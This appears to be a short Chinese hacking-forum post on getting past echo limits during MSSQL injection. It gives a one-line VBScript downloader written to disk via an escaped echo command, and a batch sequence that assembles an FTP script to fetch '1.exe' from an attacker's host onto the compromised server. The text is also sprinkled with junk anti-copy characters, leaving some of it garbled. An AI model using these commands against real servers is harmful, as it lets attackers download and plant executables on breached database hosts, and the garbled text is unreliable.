mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
) n7 q4 N& Z8 q! o" h3 P( k, Z0 J1.iget.vbs一次写入
4 Z3 w& K6 B5 p1 ]# p1 R在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
* b, A1 p. q5 |3 K% d
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
9 b3 f* D9 u6 P+ i: U+ [
0 K. q+ Q6 T+ Z; Z1 A这样我们可以一次echo成功,echo版本:

8 ^$ `! Q1 L7 B; S8 W. cecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs


2.bat调用ftp脚本的写法(by envymask)
3 K) p( X% q0 C, M
' T8 k4 V- X: p: \3 e  p! K! oecho ftp&gt;1.vbs
echo open ip&gt;2.vbs
echo u&gt;3.vbs
echo s&gt;4.vbs
echo binary&gt;5.vbs
& n6 F, v8 K7 U' vecho get 1.exe&gt;6.vbs
7 ^% K3 Q& _+ ?% i% Hecho bay&gt;7.vbs

copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
</P>